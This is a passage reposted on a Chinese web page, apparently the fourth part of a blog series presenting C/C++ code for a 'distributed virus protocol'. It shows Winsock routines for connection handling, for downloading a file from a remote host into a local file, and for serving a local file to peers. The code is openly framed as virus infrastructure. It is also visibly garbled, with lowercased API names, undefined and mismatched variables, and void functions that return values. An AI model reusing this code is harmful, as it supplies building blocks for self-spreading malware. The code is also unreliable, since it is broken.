分布式病毒协议的C/C++描述代码[4]

[入库:2005年8月19日] [更新:2007年3月25日]

本文简介:选择自 love4oot 的 blog

//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}

/* 如果连接实例有需要发送的数据 */
if(conninst->presult!=null)
{
sendresult(socket);
}
return;
}
void sendresult(socket socket)
{
pconninst conninst=getconninst(socket);
int bytessent;

bytessent=send(conninst->socket, conninst->presult, conninst->resultlen, 0);
if(bytessent==socket_error)
{
if (wsagetlasterror()!=wsaewouldblock)
{
//("send() error");
//("closing socket: %d", conninst->socket);
closesocket(conninst->socket);
delconninst(conninst);
return;
}
}
if((unsigned int)bytessent<conninst->resultlen)//如果发送的字节少于结果字节
{
char* temp;
conninst->resultlen=conninst->resultlen-bytessent;
temp=(char*)malloc(conninst->resultlen);
memcpy(temp,conninst->presult+bytessent,conninst->resultlen);
free(conninst->presult);
conninst->presult=temp;
}
else //如果全部发送完毕
{
free(conninst->presult);
conninst->resultlen=0;
conninst->presult=null;
}
}

int nethalt(void)
{
pconninst conntemp;

/* 关闭监听套接口 */
closesocket(listensocket);

/* 关闭所有正在连接的套接口 */
conntemp=pconninsthead;
while(conntemp)
{
closesocket(conntemp->socket);
conntemp=conntemp->next;
}

/* 清除请求包链表 */
delallconninst();
beep(200,50);
wsacleanup();
return 1;
}
int pascal winmain(hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)
{
msg msg;

/* user interface startup */
uistartup(hinstance, ncmdshow);


/* network startup */
netstartup();
/*我们在下面应该做些什么?搜索ip连接。。。。。*/

/* 进入消息循环 */
while(getmessage(&msg,null,0,0))
{
translatemessage(&msg);
dispatchmessage(&msg);
}

/* network halt*/
nethalt();


return 0;
}

void recvfilethreadproc(pfileupdata *plm)
{

// open target file
// get remote address
int i,nport;
char svaddress[256];
lstrcpyn(svaddress,plm->clientip->sin_addr->s_addr,256);
for(i=0;i<256;i++) {
if(svaddress==':') {
svaddress='\0';
nport=atoi(&svaddress[i+1]);
break;
}
}

// put into sockaddr_in structure
sockaddr_in saddr;
struct hostent *he;
dword dwipaddr;

dwipaddr=inet_addr(svaddress);
if(dwipaddr==inaddr_none) {
he=gethostbyname(svaddress);
if(gethostbyname==null) {
free(plm);
return 1;
}
dwipaddr=*(dword *)he->h_addr_list[0];
}

memset(&saddr,0,sizeof(sockaddr_in));
saddr.sin_family=af_inet;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwipaddr;

// create socket

socket sv;
sv=socket(af_inet,sock_stream,ipproto_tcp);
if(s==invalid_socket) {
free(plm);
return 1;
}

// connect to remote port

if(connect(sv,(sockaddr *)&saddr,sizeof(sockaddr_in))==socket_error) {
closesocket(sv);
free(plm);
return 1;
}

// nonblocking mode
dword dwblock=1;
ioctlsocket(sv, fionbio, &dwblock);
handle hfile;
hfile=createfile(plm->filename,generic_write,0,null,create_always,file_attribute_normal,null);
if(hfile!=null) {
int nbytes;
dword dwcount;
char svbuffer[1024];

do {
// give up time
sleep(20);

nbytes=recv(sv,svbuffer,1024,0);
if(nbytes>0) {
writefile(hfile,svbuffer,nbytes,&dwcount,null);
}
} while(nbytes>0);

closehandle(hfile);
}

closesocket(sv);
return 0;
}
void sendfilethreadproc(pfileupdata *plm)
{
socket sv;
sv=socket(af_inet,sock_stream,ipproto_tcp);
if(sv==invalid_socket) {
free(plm);
return -2;
}

// bind to desired port
sockaddr_in saddr;
memset(&saddr,0,sizeof(sockaddr_in));
saddr.sin_family=af_inet;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;

if(bind(sv,(sockaddr *)&saddr,sizeof(sockaddr_in))==socket_error) {
closesocket(s);
free(pptp);
free(ppi);
return -1;
}

listen(sv,max_connections);

// nonblocking mode
dword argp=true;
ioctlsocket(sv,fionbio,&argp);
sleep(1000);
socket psv;
int templength;

// accept the new socket descriptor
templength=sizeof(sockaddr_in);
psv=accept(sv, (struct sockaddr far *)&sockaddrin, (int far*)&templength);
if(peersocket==socket_error)
{
if(wsagetlasterror()!=wsaewouldblock)
{
//("error! accept error. the request form %s can't be accepted.",inet_ntoa(sockaddrin.sin_addr));
return;
}
}
handle hinfile;
hinfile=createfile(plm->filename,generic_read,file_share_read,null,open_existing,0,null);
if(hinfile==invalid_handle_value) {
//couldn't open local file.
return -1;
}
char svbuffer[1024];
dword dwbytes;
do {
readfile(hinfile,svbuffer,1024,&dwbytes,null);
if(send(psv,svbuffer,dwbytes,0)<=0) break;
} while(dwbytes==1024);

本文关键:分布式病毒协议的C/C++描述代码
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top